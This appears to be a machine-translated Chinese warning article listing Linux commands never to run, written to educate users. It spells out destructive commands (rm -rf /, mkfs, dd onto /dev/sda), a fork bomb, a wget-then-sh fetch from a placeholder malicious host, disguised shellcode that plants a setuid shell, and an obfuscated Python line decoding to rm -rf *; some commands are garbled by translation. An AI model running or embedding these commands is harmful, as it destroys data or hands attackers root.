本文中列出的命令肯定不起作用,即使您感到非常好奇,除非您在虚拟机上运行(如果遇到问题可以恢复问题),因为它们实际上会损坏您的系统。因此,在没有root等高级管理权限的情况下执行命令是一个好习惯。
永远不要运行Linux命令
Linux系统迟早会像Windows一样受欢迎,人们越来越多,包括对计算机知之甚少的人。本文的目的是告诉每个人:虽然Linux为您提供了最大程度的自由,但它也会破坏。系统更容易。如果您不理解某些命令的含义,下载包含恶意命令的脚本,或被欺骗以运行某些命令,则很容易让您哭泣。
这并不是说Linux不安全,而是面对那些不了解Linux并且不小心的人来说,Linux是非常不安全的。 Windows也很好,Linux很好,人们自己也是最大的不安全因素。
R M
以下命令将删除硬盘上的文件,rm -r递归删除,而-f强制删除是一个非常危险的选项,即使你做日常操作,也会遇到意外删除的文件。
Sudo rm -rf /删除根分区中的所有文件
Sudo rm -rf。删除当前目录中的所有文件
Sudo rm -rf *与上述相同
Rm -rf *或rm -rf *。*与上述相同
Rm -rf~ /&删除根分区和主目录,即使你不是root,主目录也不能幸免。
格式化命令
同样,如果您不知道mkfs.xxxx(xxxx可以是vfat,ext2,ext3,bfs ...)是格式化命令,则运行以下命令将清除您的硬盘分区:
Sudo mkfs.xxxx
DD
Dd是一个功能强大的IO输入和输出方向工具。如果使用不当,则非常具有破坏性。它不仅是当前分区,当前系统,有时是整个硬盘。
Sudo dd if=/dev/zero of=/dev/sda清除所有硬盘。Sudo dd if=/dev/sda==dev/sdb用第一个硬盘的内容覆盖第二个块的内容。
Sudo dd if=something=/dev/sda将垃圾数据写入硬盘。
命令结果将定向到硬盘
以同样的方式,直接将命令结果导向硬盘相当于将垃圾数据写入硬盘:
Any_command>
/dev/sda用随机数据破坏硬盘
上述sda和sdb也可以是其他类似名称。 Linux的/dev系统为操作硬件提供了方便而强大的功能,同时使其更容易分解。
叉命令
fork命令打开子进程。如果fork置于无限循环中,则最终子进程将耗尽所有内存资源:
:(){: |:&};:
声明的简短形式
这个难以理解的符号可以使shell不停分叉子进程,最后导致内存耗尽并且必须重启。这不是一个bug,但shell语句是故意以简短形式编写的。原因相同:
叉子叉子
档案
有时,压缩包也是损坏的来源〜
某些zip文件要求您提取到系统中已有的目录。你应该非常小心。 zip文件中可能有数千个小文件。尝试使用各种文件名覆盖现有文件。文献。
有些tarball看起来很小,但打开它们是GB的垃圾数据会泛滥你的硬盘。
从非官方网站下载的程序和脚本也存在包含恶意命令的危险,无法随意执行:
Wget [url]http://some_place/some_file [/url]
Sh ./some_file
Wget [url]http://hax018r.org/malicious-script[/url]
Sh ./malicious-script
脚本
脚本应确保源是常规的,如果有能力,您可以读取其代码。即使对于带有源代码的程序,也不要只编译和执行:
Char esp [] __attribute __((section('。text')))/* e.s.p.
发布 */
='xebx3ex5bx31xc0x50x54x5ax83xecx64x68'
'xffxffxffxffx68xdfxd0xdfxd9x68x8dx99''xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7'
'x56x04xf7x56x08xf7x56x0cx83xc4x74x56'
'x8dx73x08x56x53x54x59xb0x0bxcdx80x31'
'xc0x40xebxf9xe8xbdxffxffxffx2fx62x69'
'x6ex2fx73x68x00x2dx63x00'
'cp -p/bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;';
以上似乎只是一堆毫无意义的十六进制数据。如果有人告诉您可以运行该程序,则无需输入密码即可获得系统的root权限。你不相信他。上面的程序实际上运行“rm - Rf~ /&”。
脚本语言
像Python这样的脚本语言也可以用来销毁:
Python -c'导入操作系统; os.system(''。join([chr(ord(i)-1)for i in'sn!.sg!']))'
这个程序实际上会执行rm -rf *,也许你想知道“sn!.sg!”的含义是什么。在程序结束时,每个字母旁边实际上是rm -rf *!
那么我们如何避免运行恶意程序呢?
首先,不要将root用作日常使用的用户。如果当前用户不是root用户,则危险范围会小得多。
第二个是知道使用了哪些命令以及哪些命令不知道要运行。运行可能存在漏洞的程序,并小心检查您的输入。
第三,我们必须确保软件和脚本的来源是正式的。